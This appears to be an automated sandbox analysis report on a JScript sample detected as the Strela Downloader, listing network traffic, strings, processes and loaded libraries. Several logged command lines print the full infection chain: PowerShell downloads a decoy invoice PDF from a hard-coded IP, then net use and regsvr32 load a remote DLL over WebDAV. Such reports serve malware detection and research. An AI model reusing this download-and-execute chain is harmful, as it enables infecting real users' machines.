TCP traffic: 192.168.2.8:49708 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49707 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000003.1419562904.00000285F3ED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1538769808.0000016F6DBB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1535777987.0000016F6DBE7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1539220956.0000016F6DBE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/aj~
Source: net.exe, 00000007.00000003.1535777987.0000016F6DBE7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1539220956.0000016F6DBE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/ujj
Source: svchost.exe, 00000009.00000002.2715432669.0000015B3B600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1538341520.0000015B3B4A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7884, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 32139134812378922139.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/56@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7968:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ohru2hq3.jo1.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32139134812378922139.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1664,i,17996982894183006517,5833100182249671204,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1664,i,17996982894183006517,5833100182249671204,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
